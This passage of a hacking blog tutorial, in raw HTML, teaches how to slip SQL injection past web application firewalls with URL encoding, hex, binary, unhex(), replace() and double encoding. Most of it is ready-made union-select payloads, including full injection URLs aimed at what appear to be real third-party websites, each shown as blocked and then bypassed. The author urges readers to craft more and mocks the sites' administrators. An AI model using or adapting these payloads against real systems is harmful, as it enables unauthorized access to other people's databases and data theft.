font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Following are some examples of URL encoded WAF bypass Payload:</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: justify; vertical-align: baseline; width: 704.875px;"><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">%55nion(%53elect)</span></div> <span style="background-color: white;"> </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">union%20distinct%20select</span></div> <span style="background-color: white;"> </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">union%20%64istinctRO%57%20select</span></div> <span style="background-color: white;"> union%2053elect </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">%23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect</span></div> <span style="background-color: white;"> %23?%0auion%20?%23?%0aselect </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">unio%6e %73elect</span></div> <span style="background-color: white;"> %55nion %53eLEct u%6eion se%6cect </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">uni%6fn distinct%52OW s%65lect</span></div> <span style="background-color: white;"> unio%6e%20%64istinc%74%20%73elect </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">%75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%74</span></div> <span style="background-color: white;"> </span></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Example (Blocked)</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.jenman.com.au/news_alert.php?id=.90%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.jenman.com.au/news_alert.php?id=.90 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23</span></a></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">URL Encoded Bypass</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.jenman.com.au/news_alert.php?id=.90%20unio%6e%20selec%74%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.jenman.com.au/news_alert.php?id=.90 unio%6e selec%74 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%23</span></a></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Example (Blocked)</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.arconassoc.com/pages.php?page_id=.0union(select%201,2,3,4,5,6,7,8,9,10,11,12)" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.arconassoc.com/pages.php?page_id=.0union(select 1,2,3,4,5,6,7,8,9,10,11,12)</span></a></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">URL Encoded Bypass</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.arconassoc.com/pages.php?page_id=%2e%30%75%4e%49%4f%6e%28%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%29" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.arconassoc.com/pages.php?page_id=%2e%30%75%4e%49%4f%6e%28%73%65%6c%65%63%74%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%29</span></a></pre> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Now you know the concept and the example already, so i guess it wont be a problem for you to make some more payloads for you and not only that but using URL encoding in the right way when required. You are not bound to use URL encoding only with union select but you can also encode other keywords and operators.</span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Lets see some other uses of encodings, here we assume a WAF have blocked/filtered use of '0x' to filter use of hex in your Injection and single or double quotes are not allowed. Even sometimes WAFs use to decode Hexed Input and check for malicious content. We can try the following ways to overcome the situation.</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: justify; vertical-align: baseline; width: 704.875px;"><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Normal Hex (Blocked)</span></div> <span style="background-color: white;"> select 0x313131 </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">select x'313131';</span></div> <span style="background-color: white;"> Hexed Bypass Version Binary Bypass </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Bypass using functions</span></div> <span style="background-color: white;"> select 0b011110100110010101101110; </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">select unhex(x'333133313331');</span></div> <span style="background-color: white;"> </span></pre> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">For example here is an application having WAF + Routed Query Injection. The problem is that when we route the injection to another query our Hexed Input is getting detected by WAF. As you can see here.</span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Bypassed Link</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.nat-net.com/forms/products/viewAllProducts.php?sc=1%27UnION%20distinctrow%20Select%2011--%20-" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.nat-net.com/forms/products/viewAllProducts.php?sc=1'UnION distinctrow Select 11-- -</span></a></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Routed Query under Hexed Payload Blocked</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.nat-net.com/forms/products/viewAllProducts.php?sc=1%27UnION%20distinctrow%20Select%200x2e312929556e494f6e2053656c65637420312c322c332c342c352c362c372c382c392c31302c31312c31322c31332c31342c31352c31362c313723--%20--" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.nat-net.com/forms/products/viewAllProducts.php?sc=1'UnION distinctrow Select 0x2e312929556e494f6e2053656c65637420312c322c332c342c352c362c372c382c392c31302c31312c31322c31332c31342c31352c31362c313723-- --</span></a></pre> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Now lets try the above bypasses we discussed, on this one.</span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">First we can rebypass it under Hex payload.</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.nat-net.com/forms/products/viewAllProducts.php?sc=1%27UnION%20distinctrow%20Select%200x2e312929556e494f6e2064697374696e63742053656c65637420312c322c332c342c352c362c372c382c392c31302c31312c31322c31332c31342c31352c31362c313723--%20-" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.nat-net.com/forms/products/viewAllProducts.php?sc=1'UnION distinctrow Select 0x2e312929556e494f6e2064697374696e63742053656c65637420312c322c332c342c352c362c372c382c392c31302c31312c31322c31332c31342c31352c31362c313723-- -</span></a></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Second we can use Hex in such a way firewall never expected</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.nat-net.com/forms/products/viewAllProducts.php?sc=1%27UnION%20distinctrow%20Select%20x%272e312929556e494f6e2053656c65637420312c322c332c342c352c362c372c382c392c31302c31312c31322c31332c31342c31352c31362c313723%27--%20-" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.nat-net.com/forms/products/viewAllProducts.php?sc=1'UnION distinctrow Select x'2e312929556e494f6e2053656c65637420312c322c332c342c352c362c372c382c392c31302c31312c31322c31332c31342c31352c31362c313723'-- -</span></a></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">In a condition single Quotes are blocked we can use this bypass</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.nat-net.com/forms/products/viewAllProducts.php?sc=1%27UnION%20distinctrow%20Select%200b0010111000110001001010010010100101010101011011100100100101001111011011100010000001010011011001010110110001100101011000110111010000100000001100010010110000110010001011000011001100101100001101000010110000110101001011000011011000101100001101110010110000111000001011000011100100101100001100010011000000101100001100010011000100101100001100010011001000101100001100010011001100101100001100010011010000101100001100010011010100101100001100010011011000101100001100010011011100100011--%20-" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.nat-net.com/forms/products/viewAllProducts.php?sc=1'UnION distinctrow Select 0b0010111000110001001010010010100101010101011011100100100101001111011011100010000001010011011001010110110001100101011000110111010000100000001100010010110000110010001011000011001100101100001101000010110000110101001011000011011000101100001101110010110000111000001011000011100100101100001100010011000000101100001100010011000100101100001100010011001000101100001100010011001100101100001100010011010000101100001100010011010100101100001100010011011000101100001100010011011100100011-- -</span></a></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">One more way to bypass it</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.nat-net.com/forms/products/viewAllProducts.php?sc=1%27UnION%20distinctrow%20Select%20unhex(%272e312929556e494f6e2053656c65637420312c322c332c342c352c362c372c382c392c31302c31312c31322c31332c31342c31352c31362c313723%27)--%20-" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.nat-net.com/forms/products/viewAllProducts.php?sc=1'UnION distinctrow Select unhex('2e312929556e494f6e2053656c65637420312c322c332c342c352c362c372c382c392c31302c31312c31322c31332c31342c31352c31362c313723')-- -</span></a></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Lets say we have decided to use Hex anyway..so here is another bypass</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.nat-net.com/forms/products/viewAllProducts.php?sc=1%27UnION%20distinctrow%20Select%20replace(0x2e312929556e495f7a656e4f6e2053656c5f7a656e65637420312c322c332c342c352c362c372c382c392c31302c31312c31322c31332c31342c31352c31362c313723,(0x5f7a656e),%27%27)--%20-" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.nat-net.com/forms/products/viewAllProducts.php?sc=1'UnION distinctrow Select replace(0x2e312929556e495f7a656e4f6e2053656c5f7a656e65637420312c322c332c342c352c362c372c382c392c31302c31312c31322c31332c31342c31352c31362c313723,(0x5f7a656e),'')-- -</span></a></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">One more way to bypass even if Quotes are not available</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.nat-net.com/forms/products/viewAllProducts.php?sc=1%27UnION%20distinctrow%20Select%20unhex(0x32653331323932393535366534393466366532303533363536633635363337343230333132633332326333333263333432633335326333363263333732633338326333393263333133303263333133313263333133323263333133333263333133343263333133353263333133363263333133373233)--%20-" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.nat-net.com/forms/products/viewAllProducts.php?sc=1'UnION distinctrow Select unhex(0x32653331323932393535366534393466366532303533363536633635363337343230333132633332326333333263333432633335326333363263333732633338326333393263333133303263333133313263333133323263333133333263333133343263333133353263333133363263333133373233)-- -</span></a></pre> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">And so we can keep going to bypass the above WAF in many other ways. Now thats all on the basic encoding and thier role while bypassing WAF, here is an application you can use to encode/decode your payload </span><a href="http://leettime.net/idiots_test_lab/hash_analyze_workstation/" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; padding: 0px; text-align: justify; text-decoration: none; vertical-align: baseline;">Hash Analyzing Workstation</a><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">. There are few times you can also use UTF-8 URL encoding to bypass WAF so that too i have included in the Workstation.</span></span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">NOTE : This LAB is not developed by me from scratch, i got its code from a friend. What i did is adjusted some code, added some encodings and made it a little better to work with.</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><br /></span> <h4 style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 1.75em; margin: 0px 0px 1em; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://www.blogger.com/null" name="doubleencoding" style="border: 0px; box-sizing: border-box; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="background-color: white; color: black;">Double Encoding to bypass WAF</span></a></h4> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">As we discussed before there are many applications playing role to pass your input from your browser to the database. This trick is based on exploiting this behaviour when our input gets decoded two times before it reach the database. As we know that web server do the basic URL decoding as it pass the Input parameters to the Web Application. But what if the developer again did the decoding? well yeah there are many times developer URL decode the input before using. Here arises one Loophole :D. We can sometimes use this behaviour to Bypass Firewall.</span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Example WAF (Blocked)</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.premises.com.au/residetails.php?id=6145081%20union%20select%201111,1222,1333&premflag=&searchcat=buy" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.premises.com.au/residetails.php?id=6145081 union select 1111,1222,1333&premflag=&searchcat=buy</span></a></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Bypassed With Double URL Encoding</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.premises.com.au/residetails.php?id=6145081%2b%2575%256e%2569%256f%256e%2b%2573%2545%256c%2545%2563%2574%2b0x3133333731,1222,1333&premflag=&searchcat=buy" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.premises.com.au/residetails.php?id=6145081%2b%2575%256e%2569%256f%256e%2b%2573%2545%256c%2545%2563%2574%2b0x3133333731,1222,1333&premflag=&searchcat=buy</span></a></pre> <h4 style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 1.75em; margin: 0px 0px 1em; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://www.blogger.com/null" name="casesensitvebypass" style="border: 0px; box-sizing: border-box; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="background-color: white; color: black;">Bypassing Case sensitive Filters</span></a></h4> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">As we discussed earlier about the ruleset defined by WAF, if you know some basics of REGEX then there is no need to tell you the different between:</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: justify; vertical-align: baseline; width: 704.875px;"><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">/union.*select/</span></div> <span style="background-color: white;"> and </span><div style="text-align: center;"> <span style="background-color: white; font-family: inherit; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">/union.*select/i</span></div> <span style="background-color: white;"> </span></pre> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">A Grand salute to all those admins who really take too much care of hackers by leaving such bypasses.</span></div> <div style="text-align: center;"> <span style="background-color: white;"><img src="http://securityidiots.com/post_images/grand_salute.gif" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; max-width: 100%; padding: 0px; text-align: justify; vertical-align: baseline;" 